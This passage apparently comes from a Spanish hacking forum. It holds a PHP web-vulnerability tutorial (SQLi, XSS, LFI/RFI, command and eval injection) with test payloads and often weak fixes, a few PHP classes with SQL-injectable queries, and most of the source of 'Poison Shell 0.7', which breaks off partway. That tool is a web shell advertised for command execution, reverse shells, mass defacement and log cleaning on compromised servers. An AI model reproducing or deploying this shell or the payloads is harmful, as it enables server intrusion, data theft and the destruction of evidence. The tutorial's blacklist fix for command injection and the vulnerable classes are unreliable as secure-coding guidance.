la parte de id

Código: text

http://127.0.0.1/sql.php?id=1+and+1=1


Código: text

http://127.0.0.1/sql.php?id=1+and+1=0


Si en el primer link devuelve un resultado positivo y en el segundo negativo (no muestra nada)

Una forma de arreglar esta vulnerabilidad seria la  misma que la de SQLI


Código: text


if (!is_numeric($_GET['id'])) {
echo "no me jodas !!!<br>";
exit(1);
}




0x04 : HTML Injection


Las HTML Injection son conocidas como las vulnerabilidades mas idiotas y faciles de hacer , pero
, ¿los que dicen eso saben como se produce y como se arregla ? ,de ese estoy seguro que no .

Esta vulnerabilidad se produce normalmente en los libros de visitas cuando se deja un comentario y
se lo muestra en pantalla

Un ejemplo seria este


Código: text


<?php

echo "

<form action='' method=POST>
<input type=text name=mensaje>
<input type=submit value=Mostrar>
</form>

";

if (isset($_POST['mensaje'])) {
echo $_POST['mensaje'];
}

?>



Si queremos probar si la pagina padece de esta vulnerabilidad solo tendriamos que poner algo de
codigo html

Si ponemos "<h1>hola</h1>" y se muestra como tal es porque es vulnerable

La forma de protegerse es facil solo filtras las variables para protegerse

Para hacer esto podemos usar htmlentities() o htmlspecialchars() , usen la que quieran pues las
dos protegen

Código: text


<?php

echo "

<form action='' method=POST>
<input type=text name=mensaje>
<input type=submit value=Mostrar>
</form>

";

if (isset($_POST['mensaje'])) {

echo htmlentites($_POST['mensaje']);
}

?>



0x05 : XSS

Bueno , XSS es una vulnerabilidad conocida y util a la hora de robar cookies , la vulnerabilidad se
produce cuando se muestra una variable mal filtrada

Código: text


<?php

echo "

<form action='' method=GET>
<input type=text name=msg>
<input type=submit value=Mostrar>
</form>

";

if (isset($_GET['msg'])) {

echo $_GET['msg'];
}

?>



Para ver si es vulnerable podemos ejecutar el siguiente link con el siguiente codigo

Código: text

<script>alert("hola");</script>


Código: text

http://127.0.0.1/xss.php?msg=<script>alert("hola");</script>


Como ven la variable msg es enviada por metodo GET  , la variable no es protegida y es
mostrada tal cual

Una forma de reparar es usar como htmlentities() o htmlspecialchars()

Código: text

<?php

echo "

<form action='' method=GET>
<input type=text name=msg>
<input type=submit value=Mostrar>
</form>

";

if (isset($_GET['msg'])) {

echo htmlspecialchars($_GET['msg']);
}

?>


0x06 : RFI

Bueno , el viejo RFI , esta vulnerablidad es muy conocida , se trata de un mal uso de la funcion
include() y una mala configuracion de la variable allow_url_include estando On en php.ini

Un ejemplo seria este


Código: text

<?php

if (isset($_GET['car'])) {
include($_GET['car']);
}

?>


Como ven , si queremos saber si la  pagina es vulnerable a RFI  podemos hacer asi

Código: text

http://127.0.0.1/rfi.php?car=http://www.google.com.ar


Y si la pagina muestra la pagina de google es porque la pagina es vulnerable a RFI

Una forma de protegerse RFi seria usando un control en la variable "car" de la siguiente forma

Código: text


if (isset($_GET['car'])) {

if ($_GET['car'] == "veo") {
include("veo.php");
}

elseif($_GET['car'] == "noveo") {
include("noveo.php");
}
else {
echo "no intentes cosas raras xDDD";
}
}



0x07 : LFI

Bueno , el conocido LFI ,es parecido a RFI , pero este solo ejecuta archivos a nivel local y no remoto como RFI

Un ejemplo de pagina vulnerable seria asi

Código: text

<?php

if (isset($_GET['car'])) {
include($_GET['car']);
}

?>


Para saber si es vulnerable podemos cargar la variable car con un '  de la siguiente manera

Código: text

http://127.0.0.1/lfi.php?car='


Y si nos devuelve algo asi

Código: text

Warning: include(') [function.include]: failed to open stream: No such file or directory in C:\xampp\htdocs\666.php on line 4


Es porque es vulnerable xDDD

Para protegernos de esta vulnerabilidad seria de la misma forma que RFI


Código: text


if (isset($_GET['car'])) {

if ($_GET['car'] == "veo") {
include("veo.php");
}

elseif($_GET['car'] == "noveo") {
include("noveo.php");
}
else {
echo "no intentes cosas raras xDDD";
}
}



0x08 : Remote code Execution

Esta vulnerabilidad no es muy conocida , se trata de poder ejecutar comandos en la maquina atacada
sin necesidad de crear una shell.

Entonces un ejemplo de pagina vulnerable seria esta.

Código: text

<?php

echo "

<form action='' method=POST
<input type=text name=cmd>
<input type=submit value=mandar>
</form>

";

if (isset($_POST['cmd'])) {
system("ping ".$_POST['cmd']);
}



?>


Como ven la pagina hace un comando ping con system() a la ip marcada por ustedes

Entonces que pasa si ponemos una ip cualquiera

Pues nada solo hace un ping a la ip que pusieron

Entonces si ponemos esto

Código: text

ip && ver


El servidor nos devolveria el resultado de el comando ping con un extra xDDD
Pues si estamos viendo la version del SO
Entonces la explicacion es simple solo ponemos && para agregar un comando siempre cuando la ip
que pusieron anteriormente era  real y el ping se mostro correctamente

Entonces si queremos arreglar esta vulnerabilidad tenemos que reemplazar toda cosa rara en la variable
de "cmd"

Quedando el codigo de la siguiente manera

Código: text

<?php

echo "

<form action='' method=POST
<input type=text name=cmd>
<input type=submit value=mandar>
</form>

";

if (isset($_POST['cmd'])) {

$cmd = $_POST['cmd'];

$cmd = str_replace("&&", "", $cmd);
$cmd = str_replace(";", "", $cmd);
$cmd = str_replace("-", "", $cmd);
$cmd = str_replace("?", "", $cmd);
$cmd = str_replace("||", "", $cmd);
$cmd = str_replace("|", "", $cmd);
$cmd = stripslashes($cmd);

system("ping ".$cmd);

}



?>


0x09 : Full Path Discloure

Esta vulnerabilidad se produce cuando se produce un error , tanto como un error en el resultado de la funcion que estamos
usando como la sintasis usada en la misma

Un ejemplo seria este

Código: text

<?php
if (isset("no se nada de php")) {

}
?>


Que feo programo xDDD

Entonces el error que nos devuelve seria este

Código: text

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in C:\xampp\htdocs\666.php on line 2


Como vemos nos devuelve el directorio actual donde se ejecuta el archivo php , esto es lo que se llama
full path discloure

Esta vulnerabilidad tambien aparece en SQL y LFI , cuando poniamos la comilla ' el resultado de include() y mysql_query()
En el caso del segundo era una full path discloure ademas de estar indicando que la pagina realmente era vulnerable a SQL
En el caso del primero tambien se debia al mal uso de la funcion include() devolviendonos un error con un full path
discloure

0x10 : Full Source Discloure

Bueno , esta vulnerabilidad nos permite descargar archivos de un servidor web debido a que no
filtra las variables

Un ejemplo seria este

Código: text


if (isset($_GET['down'])) {
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($_GET['down']));
readfile($_GET['down']);
}


Entonces si ponemos la ruta que queremos en la variable "down" estamos hecho.
Un ejemplo de uso seria este

Código: text

http://127.0.0.1/down.php?down=c:/secretos.txt


Y con eso descargariamos el archivo secreto si es que existe xDDD

Entonces una forma de evitar esta vulnerabilidad seria usando una DB , que contenga una tabla
con los links de descarga , entonces una vez que se detecte la variable down se verificaria que fuera
un numero de lo contrario chau xDDD

0x11 : PHP Injections

Bueno , la php injections suelen suceder cuando usa la funcion eval().
La funcion eval() nos permite ejecutar codigo php

Un ejemplo de esta vulnerabildad seria este

Código: text

<?php

if (isset($_GET['te'])) {
eval($_GET['te']);
}

?>


Como ven , es un caso muy raro y especial en cierto sentido xDDD

Entonces si ejecutamos este link

Código: text

http://127.0.0.1/php?te=echo "hola mundo";


Si vemos en la pantalla , este link nos devuelve hola mundo , creo que es obvio que es vulnerable

Una forma de protegerse seria no usar eval()

--========--
¿ The End ?
--========--
#474
Back-end / [PHP Class] Get Info By Doddy H
Julio 03, 2011, 09:52:48 PM
Bueno , esto no es nada del otro mundo , solo una simple clase que te da informacion sobre el visitante

Código: php

<?php

/*

Simple Class GetInfo

By Doddy Hackman

*/


class getinfo {


public function ip() {
return htmlentities($_SERVER['SERVER_ADDR']);
}

public function navegador() {

$navegador = get_browser($_SERVER['HTTP_USER_AGENT'], true);
return array(htmlentities($navegador['browser']),htmlentities($navegador['version']));
}

public function so() {

$navegador = get_browser($_SERVER['HTTP_USER_AGENT'], true);
return htmlentities($navegador['platform']);

}
}

?>


Funciones

Código: text

ip() // Te da la IP
navegador() // Te da el navegador
so() // te da el SO

#475
Back-end / [PHP Class] Loginow 0.2 By Doddy H
Julio 03, 2011, 09:52:37 PM
Hola a todos.

Acabo de hacer mi primer clase en PHP , esta sirve
para realizar logins a webs con las sig opciones


* extrae valores del formulario para realizar la verificacion
* login mediante DB
* login mediante una contraseña md5 marcada por ustedes
* Si el login es exitoso crea una cookie

No eh alcando a probarla hasta fondo
Pero  aca tienen un ejemplo de como usarla


test.php

Código: php


include_once("loginow.php");

if (isset($_POST['mandar'])) {
$nave = new loginow;
$nave->campos("usuario","password");
//if ($nave->secure("admin","098f6bcd4621d373cade4e832627b4f6")) {
if ($nave->database("localhost","root","","hackman","hackers","usuario","password")) {
$nave->cookienow("login");
echo "login correcto";
} else {
echo "Error en el login";
exit(1);
}
} else {
echo "
<form action='' method=POST>
Usuario : <input type=text name=usuario value=admin><br>
Password : <input type=text name=password value=test><br>
<input type=submit name=mandar value=mandar></form>";
}


Como ven usamos las funciones

campos(); # ponemos los nombres de las casillas user y pass para realizar la verificacion
secure(); #establecemos esta funcion para verificar mediante user y pass establecidos por nosotros
database(); #ponemos los datos de la DB y sus columnas para realizar la verificacion , claro la clase solo se basara en el primer casillero


loginow.php

Código: php

<?php

/*

Simple Class for login of the webs

(c) DOddy Hackman 2010


*/

class loginow {

private $host;
private $db;
private $user;
private $pass;
private $tabla;
private $columna1;
private $columna2;
private $usereal;
private $passreal;
private $campouser;
private $campopass;
private $cookiename;

public function campos($campouser,$campopass) {
if (isset($_POST[$campouser])) {
$this->campouser = $_POST[$campouser];
$this->campopass = md5($_POST[$campopass]);
} else {
$this->campouser = $campouser;
$this->campopass = $campopass;
}
}

public function database($host,$dbuser,$dbpass,$db,$tabla,$columna1,$columna2) {
mysql_connect($host,$dbuser,$dbpass);
mysql_select_db($db);
$que = mysql_query("SELECT * FROM ".$tabla);
while ($test = mysql_fetch_array($que)) {
if ($this->campouser == $test[$columna1] and $this->campopass == $test[password]) {
$this->usereal = $test[$columna1];
$this->passreal = $test[$columna2];
return true;
}
}
}

public function secure($user,$pass) {
if ($this->campouser == $user and $this->campopass == $pass) {
$this->usereal = $user;
$this->passreal = $pass;
return true;
} else {
return false;
}
}

public function cookienow($cookiename) {
setcookie($cookiename,base64_encode($this->usereal."@".$this->passreal));
}

}

?>


Caulquier mejora , fallo o vulnerabilidad encontrada deben decirmelo para mejorar
#476
Back-end / [PHP Class] Noticion 0.9
Julio 03, 2011, 09:52:20 PM
Bueno , en esta version le quite esa opcion de usar bases de datos que era innecesaria debido que
no se puede tener varias , gran error mio pero gracias por decirmelo , en esta version le quite algunas cosas
que no hacian falta y modifique el uso de bases de datos por tablas

Para realizar la conexion usamos

Código: php

datos($host,$user,$pass,$db)


Para crear una nueva categoria usamos

Código: php

crearcategoria($nuevacategoria)


Para borrar una categoria usamos

Código: php

eliminarcategoria($eliminarcategoria)


Para devolver un array con todas las categorias disponibles usamos

Código: php

listarcategorias()


Para crear una nueva noticia usamos

Código: php

nuevo($x_titulo,$x_contenido,$x_fecha,$categoria)


Para modificar el contenido usamos

Código: php

mod($categoria,$id,$tit,$con,$fech)


Para borrar una noticia usamos

Código: php

eliminar($id,$categoria)


Para poder ver el contenido de una noticia usamos

Código: php

vereste($id,$categoria)


Para recibir una lista de todas las noticias usamos

Código: php

vertodo($categoria)


Para crear un comentario usamos

Código: php

crearcomentario($categoria,$id_noticia,$fecha,$apodo,$mensaje)


Para modificar el contenido de un comentario usamos

Código: php

modcomentario($categoria,$id,$fecha,$apodo,$contenido)


Para ver el contenido de un comentario usamos

Código: php

vercomentarios($categoria,$id)


Para borrar un comentario

Código: php

borrarcomentario($categoria,$id)


Para cerrar la conexion con el servidor mysql usamos

Código: php

close()



Código: php

<?php

/*

Noticion 0.9

(c) DOddy Hackman 2011

*/


class noticion {

private $db;

public function datos($host,$user,$pass,$db) {

$this->db = $db;

if (@mysql_connect($host,$user,$pass)) {
if (@mysql_select_db($db)) {
return true;
}
}
}

public function crearcategoria($nuevacategoria) {

$todo1 = "create table categoria_$nuevacategoria (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
titulo VARCHAR(255) NOT NULL,
contenido TEXT NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id));
";

$todo2 = "create table comentarios_$nuevacategoria (
id_noticia int(10),
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
";

if (@mysql_query($todo1)) {
if (@mysql_query($todo2)) {
return true;
}
}

}

public function eliminarcategoria($eliminarcategoria) {

if (@mysql_query("DROP TABLE categoria_$eliminarcategoria")) {
if (@mysql_query("DROP TABLE comentarios_$eliminarcategoria")) {
return true;
}

}
}


public function eliminar($id,$categoria) {
if (is_numeric($id)) {
if (@mysql_query("DELETE FROM categoria_$categoria where id='$id'")) {
return true;
}
}
}

public function nuevo($x_titulo,$x_contenido,$x_fecha,$categoria) {
$sumo = mysql_query("SELECT MAX(id) FROM categoria_$categoria");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$x_id = $d+1;
}
if (@mysql_query("INSERT INTO categoria_$categoria(id,titulo,contenido,fecha)values('$x_id','$x_titulo','$x_contenido','$x_fecha')")) {
return true;
}
}

public function vereste($id,$categoria) {
if (is_numeric($id)) {
$total = array();
if ($que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria WHERE id='$id'")) {
while ($ver = @mysql_fetch_array($que)) {
return array($ver[0],$ver[1],$ver[2],$ver[3]);
}
}
}
}

public function listarcategorias() {

$found = array();

if ($re = @mysql_query("show tables from ".$this->db)) {

while($dat = mysql_fetch_row($re)) {
$separo = split("_",$dat[0]);
array_push($found,$separo[1]);
}
return array($found);
}

}

public function vertodo($categoria) {
$total = array();
if ($que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria")) {
while ($ver = @mysql_fetch_array($que)) {
array_push($total,$ver);
}
return array($total);
}
}

public function mod($categoria,$id,$tit,$con,$fech) {
if (@mysql_query("UPDATE categoria_$categoria SET id='$id',titulo='$tit',contenido='$con',fecha='$fech' where id='$id'")) {
return true;
}
}

public function crearcomentario($categoria,$id_noticia,$fecha,$apodo,$mensaje) {

$sumo = mysql_query("SELECT MAX(id_comentario) FROM comentarios_$categoria");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$x_id = $d+1;
}

if (mysql_query("INSERT INTO comentarios_$categoria(fecha,apodo,mensaje,id_noticia,id_comentario)values('$fecha','$apodo','$mensaje','$id_noticia','$x_id')")) {
return true;
}

}

public function modcomentario($categoria,$id,$fecha,$apodo,$contenido) {
if (@mysql_query("UPDATE comentarios_$categoria SET id_comentario='$id',fecha='$fecha',apodo='$apodo',mensaje='$contenido' where id_comentario='$id'")) {
return true;
}
}

public function vercomentarios($categoria,$id) {
$todo = array();
if ($ver = @mysql_query("SELECT id_noticia,id_comentario,apodo,mensaje,fecha FROM comentarios_$categoria")) {
while ($que = @mysql_fetch_array($ver)) {
if ($que[0] == 1) {
array_push($todo,$que);
}
}
return array($todo);
}

}


public function borrarcomentario($categoria,$id) {
if (is_numeric($id)) {
if (@mysql_query("DELETE FROM comentarios_$categoria where id_comentario='$id'")) {
return true;
}
}
}


public function close() {
$test->close;
}


}

?>


Ejemplos de usos


Código: php

<?php

include_once("noticion.php");

$name = New noticion;

if ($name->datos("localhost","root","","test")) {
echo "conexion abierta<br>";

//$name->crearcategoria("py");

//if ($name->borrarcomentario("perl","1")) {
//echo "ok";
//}


//$name->modcomentario("perl","2","a","a","a");

list($recibo) = $name->vercomentarios("perl","1");

echo count($recibo)."<BR><BR>";

foreach($recibo as $a) {
echo $a[2]."<br>";
}


//$name->crearcomentario("perl","1","1","1","1");


//if ($name->nuevo("aa","aa","aa","perl")) {
//echo "ok";
//}

//$ver = $name->vereste("1","perl");

//echo $ver[0];

//$name->mod("perl","3","cambie","cambie","cambie");

//$re = $name->listarcategorias();

//$name->eliminar("5","perl");


//list($re) = $name->vertodo("perl");

//foreach ($re as $r) {
//echo $r[0]."<br>";
//echo $r[1]."<br><br>";
//}


//$name->crearcategoria("perl");

//foreach($t as $veo) {
//echo $veo[id]."<br>";
//}

$name->eliminarcategoria("py");
}



Culquier error , vulnerabilidad o mejorar deben decirlas para mejorar esta clase
#477
Back-end / [PHP Shell] Poison Shell 0.7
Julio 03, 2011, 09:52:02 PM
Hola a todos , hoy eh terminado la version 0.7 de mi shell llamada poison shell
Esta shell tiene las siguientes opciones

  • Informacion : sobre el servido web

  • Navegacion de archivos y directorios :

    * En esta opcion pueden editar , borrar ,renombrar y descargar archivos
    * Tambien podes crear directorios nuevos

  • Ejecutar comandos

  • Subir archivos a un directorio especifico

  • Base64 encode() decode()

  • Ejecutar codigo php con eval()

  • Cargar phpinfo()

  • Crackear hash md5 con salto o sin salto

  • BackShell : en esta version solo esta un reverse shell en perl hecho por mi

  • MassDefacement : masivo deface a un directorio y todos sus subdirectorios que le sigan

  • CleanLogs : limpia logs de linux

  • FTP

    * Crear directorios nuevos
    * Este cliente FTP permite navegar a traves de los directorios y archivos
    * Borrar archivos
    * Cambiar permisos de archivos
    * Descargar archivos

  • SQL Manager

    * Podes navegar a traves de la base datos podiendo ver todas
    las bases de datos y tablas activas
    * Ejecutar sentencias SQL
    * Descargar tablas
    * Descargar bases de datos

  • Cookies Manager

    * En esta opcion podemos ver todos los cookies activos
    * Podemos crear un cookie con el valor que queremos

  • Session Manager

    * En esta opcion podemos ver todas las sesiones activas
    * Podemos crear una sesion con el valor que queremos


  • Shell Protegida con user y pass

  • Autodestruccion de la shell


    El codigo de la shell es el siguiente


    Código: text

    <?php

    /*

    Poison Shell 0.7


    Doddy Hackman (C) Doddy Hackman


    Mail : lepuke[at]hotmail[com]
    Blog : doddy-hackman.blogspot.com

    */

    @session_start();

    $username = "a";
    $password = "a";

    if (isset($_POST['user'])) {
    if ($_POST['user'] == $username && $_POST['pass'] == $password) {
    $_SESSION['loginh'] = "1";
    }
    }

    if (isset($_GET['chaunow'])) {
    @session_destroy();
    }

    if ($_SESSION['loginh'] == 1) {

    if (isset($_GET['info'])) {
    die(phpinfo());
    }

    if (isset($_POST['sessionew'])) {
    @session_start();
    if ($_SESSION[$_POST['sessionew']] = $_POST['valor']) {
    echo "<script>alert('Session created');</script>";
    } else {
    echo "<script>alert('Error');</script>";
    }
    }


    if(isset($_GET['bajardb'])) {

    $tod = @mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']);
    mysql_select_db($_GET['bajardb']);

    $resultado = mysql_query("SHOW TABLES FROM ".$_GET['bajardb']);

    while ($tabla = mysql_fetch_row($resultado)) {
    foreach($tabla as $indice => $valor) {

    $todo.= "<br><br>".$valor."<br><br>";

    $resultadox = mysql_query("SELECT * FROM ".$valor);

    $todo.="<table border=1>";

    for ($i=0;$i< mysql_num_fields($resultadox);$i++) {
    $todo.="<th>".mysql_field_name($resultadox,$i)."</th>";
    }
    while($dat = mysql_fetch_row($resultadox)) {
    $todo.="<tr>";
    foreach($dat as $val) {
    $todo.="<td >".$val."</td>";
    }
    }
    $todo.="</tr></table>";
    }
    }
    @mysql_free_result($tod);
    @header("Content-type: application/vnd-ms-excel; charset=iso-8859-1");
    @header("Content-Disposition: attachment; filename=".date('d-m-Y').".xls");
    echo $todo; 
    exit(1);
    }




    if(isset($_GET['bajartabla'])) {
    $tod = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']) or die("<h1>Error</h1>");
    mysql_select_db($_GET['condb']);
    if(!empty($_GET['sentencia'])) {
    $resultado =  mysql_query($_GET['sentencia']);
    } else {
    $resultado = mysql_query("SELECT * FROM ".$_GET['bajartabla']);
    }
    $todo.="<table border=1>";
    for ($i=0;$i< mysql_num_fields($resultado);$i++) {
    $todo.="<th>".mysql_field_name($resultado,$i)."</th>";
    }
    while($dat = mysql_fetch_row($resultado)) {
    $todo.="<tr>";
    foreach($dat as $val) {
    $todo.="<td>".$val."</td>";
    }
    }
    @mysql_free_result($tod);
    $todo.="</tr></table>";
    @header("Content-type: application/vnd-ms-excel; charset=iso-8859-1");
    @header("Content-Disposition: attachment; filename=".date('d-m-Y').".xls");
    echo $todo; 
    exit(1);
    }

    if (isset($_GET['reload'])) {
    $tipo = pathinfo($_GET['reload']);
    echo '<meta http-equiv="refresh" content="0;URL=?dir='.$tipo['dirname'].'>';
    exit(1);
    }

    function dame($file) {
    return substr(sprintf('%o', fileperms($file)), -4);
    }

    if (isset($_GET['down'])) {
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename=".basename($_GET['down']));
    readfile($_GET['down']);
    }

    if (isset($_POST['cookienew'])) {
    if (setcookie($_POST['cookienew'],$_POST['valor'])) {
    echo "<script>alert('Cookie cREATED');</script>";
    echo '<meta http-equiv="refresh" content="0;URL=?cookiemanager">';
    } else {
    echo "<script>alert('Error');</script>";
    }
    }


    echo '<style type="text/css">


    .main {
    margin : -287px 0px 0px -490px;
    border : White solid 1px;
    BORDER-COLOR: #00FF00;
    }


    #pie {
    position: absolute;
    bottom: 0;
    }

    body,a:link {
    background-color: #000000;
    color:#00FF00;
    Courier New;
    cursor:crosshair;
    font-size: small;
    }

    input,table.outset,table.bord,table,textarea,select {
    font: normal 10px Verdana, Arial, Helvetica,
    sans-serif;
    background-color:black;color:#00FF00;
    border: solid 1px #00FF00;
    border-color:#00FF00
    }

    a:link,a:visited,a:active {
    color: #00FF00;
    font: normal 10px Verdana, Arial, Helvetica,
    sans-serif;
    text-decoration: none;
    }

    </style>';

    echo "<title>[+] PoisonShell (C) Doddy Hackman 2011 </title>";
    echo "<table><tr><td class=main><br><h2>&nbsp;&nbsp;&nbsp;PoisonShell&nbsp;&nbsp;&nbsp;</h2><br></td><td class=main>
    <b>System</b> : ".php_uname('s')." ".php_uname('r')." ".php_uname('v')."<br><b>Server</b> : ".$_SERVER['SERVER_SOFTWARE']."<br>";
    echo "<b>IP</b> : ".$_SERVER['SERVER_ADDR']."&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
    <b>User</b> : uid=".getmyuid()." (".get_current_user().") gid=".getmygid()."&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
    <b>Path</b> : ".getcwd()."&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
    <b>Version PHP</b> : ".phpversion()."<br>";
    if (ini_get('safe_mode')==0) {
    echo "<b>Safe Mode</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    } else {
    echo "<b>Safe Mode</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    }
    if (get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on") {
    echo "<b>Magic Quotes</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    } else {
    echo "<b>Magic Quotes</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    }
    exec("perl -h",$perl);
    if ($perl) {
    echo "<b>Perl</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    } else {
    echo "<b>Perl</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    }
    exec("wget --help",$wget);
    if ($wget) {
    echo "<b>WGET</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    } else {
    echo "<b>WGET</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    }
    exec("curl_version",$curl);
    if ($curl) {
    echo "<b>CURL</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    } else {
    echo "<b>CURL</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    }

    echo "</tr></td></table><br>";

    echo "

    <table>
    <td class=main><a href=?dir=>Navigate</a></td><td class=main><a href=?cmd=>CMD</a></td>
    <td class=main><a href=?upload=>Upload</a></td><td class=main><a href=?base64=>Base64</a></td>
    <td class=main><a href=?phpconsole=>Eval</a></td><td class=main><a href=?info=>phpinfo</a></td>
    <td class=main><a href=?bomber=>Mailer</a></td><td class=main><a href=?md5crack=>MD5Crack</a></td>
    <td class=main><a href=?backshell>BackShell</a></td><td class=main><a href=?mass=>MassDefacement</a></td>
    <td class=main><a href=?logs=>CleanLogs</a></td><td class=main><a href=?ftp=>FTP</a></td>
    <td class=main><a href=?sql=>SQL</a></td><td class=main><a href=?cookiemanager=>Cookies</a></td>
    <td class=main><a href=?sessionmanager=>Session</a></td>
    <td class=main><a href=?chau=>Kill</a></td>
    </table><br><br>
    ";




    if(isset($_GET['perms'])) {
    echo "
    <form action='' method=POST>
    File : <input type=text name=archivo value=".$_GET['perms'].">
    <br>
    Perms : <input type=text name=perms value=".dame($_GET['perms'])."
    <br><br>
    <input type=submit name=cambiarperms value=Change>
    </form>
    ";
    }
    if (isset($_POST['cambiarperms'])) {
    if (chmod($_POST['archivo'],$_POST['perms'])) {
    echo "<script>alert('cHANGED');</script>";
    } else {
    echo "<script>alert('Error');</script>";
    }
    echo "<br><br><font color=red><center><a href=?reload=".$_POST['archivo'].">Atras</a><br><br></font></center>";
    }

    if (isset($_GET['ren'])) {
    echo "
    <form action='' method=POST>
    File : <input type=text name=nombre value=".$_GET['ren']."><br>
    Change to : <input type=text name=cambio><br><BR>
    <input type=submit name=cambios value=Change><BR>
    </form>
    ";
    }

    if (isset($_POST['cambios'])) {
    if (@rename($_POST['nombre'],$_POST['cambio'])) {
    echo "<script>alert('Changed');</script>";
    } else {
    echo "<script>alert('Error');</script>";
    }
    echo "<br><br><font color=red><center><a href=?reload=".$_POST['cambios'].">Atras</a><br><br></font></center>";
    }



    if (isset($_POST['crear1'])) {
    chdir($_POST['dir']);
    if (fopen($_POST['crear1'],"w")) {
    echo "<script>alert('File cREATED');</script>";
    }else {
    echo "<script>alert('Error');</script>";
    }
    echo "<br><br><font color=red><center><a href=?reload=".$_POST['dir'].">Atras</a><br><br></font></center>";
    }

    if (isset($_POST['crear2'])) {
    chdir($_POST['dir']);
    if (@mkdir($_POST['crear2'],777)) {
    echo "<script>alert('Directory created');</script>";
    } else {
    echo "<script>alert('Error');</script>";
    }
    echo "<br><br><font color=red><center><a href=?reload=".$_POST['dir'].">Atras</a><br><br></font></center>";
    }


    if (isset($_GET['del'])) {
    $tipo  = filetype($_GET['del']);
    if ($tipo == "dir") {
    if (rmdir($_GET['del'])) {
    echo "<script>alert('Directory Deleted');</script>";
    } else {
    echo "<script>alert('Error');</script>";
    }
    } else {
    if (unlink($_GET['del'])) {
    echo "<script>alert('File Deleted');</script>";
    } else {
    echo "<script>alert('Error');</script>";
    }
    }
    echo "<br><br><font color=red><center><a href=?reload=".$_GET['del'].">Atras</a><br><br></font></center>";
    }

    if (isset($_GET ['copiar'])) {
    echo '
    <form action="" method=POST>
    File : <input type=text name=archivo value='.$_GET['copiar'].'><br>
    Copy to : <input type=text name=nuevo><br><br>
    <input type=submit name=copiado value=Copy><BR>
    </form>
    ';
    }

    if (isset($_POST['copiado'])) {
    if (copy($_POST['archivo'],$_POST['nuevo'])) {
    echo "<script>alert('OK');</script>";
    } else {
    echo "<script>alert('Error');</script>";
    }
    echo "<br><br><font color=red><center><a href=?reload=".$_POST['archivo'].">Atras</a><br><br></font></center>";
    }

    if (isset($_GET['open'])) {
    echo "<form action='' method=POST>";
    echo "<center>";
    echo "<textarea cols=80 rows=40 name=code>";
    $archivo = file($_GET['open']);
    foreach($archivo as $n=>$sub) {
    $texto = htmlspecialchars($sub);
    echo $texto;
    }
    echo "</center></textarea>";
    echo "<br><br><center><input type=submit value=Save name=modificar></center><br><br>";
    echo "</form>";
    }

    if (isset($_POST['modificar'])) {
    $modi = fopen($_GET['open'],'w+');
    if ($yeah = fwrite($modi,$_POST['code'])) {
    echo "<script>alert('OK');</script>";
    } else {
    echo "<script>alert('Error');</script>";
    }
    echo "<br><br><font color=red><center><a href=?reload=".$_GET['open'].">Atras</a><br><br></font></center>";
    }


    if (isset($_GET['dir'])) {
    if ($_GET['dir']=="") {
    $path = getcwd();
    chdir($path);
    $dir = dir($path);
    } else {
    $path = $_GET['dir'];
    chdir($path);
    $dir = dir($path);
    }
    echo "
    <br><br>
    <form action='' method=GET>
    <b>Directory</b> : <input type=text name=dir value=".$path."><input type=submit name=ir value=Navegar>
    </form>
    <br><br>
    <form action='' method=POST>
    <b>New File</b> : <input type=text name=crear1><input type=hidden name=dir value=".$dir->path."><input type=submit value=Crear>
    </form>
    <form action='' method=POST>
    <b>New Directory</b> : <input type=text name=crear2><input type=hidden name=dir value=".$dir->path."><input type=submit value=Crear>
    </form><br><br>
    ";
    $archivos = array('dir'=>array(),'file'=>array());
    while ($archivo = $dir->read()) {
    $ver = @filetype($path.'/'.$archivo) ;
    if ($ver=="dir") {
    $archivos['dir'][] = $path.'/'.$archivo;
    } else {
    $archivos['file'][] = $path.'/'.$archivo;
    }
    }
    $dir->rewind();
    echo "<br><b>Directory Found</b> : ".count($archivos['dir'])."<br>";
    echo "<b>Files Found</b> : ".count($archivos['file'])."<br><br><br>";
    echo "<table bgcolor=#00FF00 border=1>";
    echo "<tr>";
    foreach ($archivos['dir'] as $dirs) {
    $dirsx = pathinfo($dirs);
    echo "<td width=100><a href=?dir=".$dirs.">".$dirsx['basename']."</a></td>";
    echo "<td width=100><a href=?ren=".$dirs.">Move</a></td>";
    echo "<td width=100><a href=?del=".$dirs.">Delete</a></td>";
    echo "<td width=100><a href=?perms=".$dirs.">Perms</a></td>";
    echo "<td width=100>--</td>";
    echo "<td width=100>--</td>";
    echo "</tr><tr>";
    }
    foreach ($archivos['file'] as $files) {
    $filex = pathinfo($files);
    echo "<td width=100><a href=?open=".$files.">".$filex['basename']."</a></td>";
    echo "<td width=100><a href=?ren=".$files.">Move</a></td>";
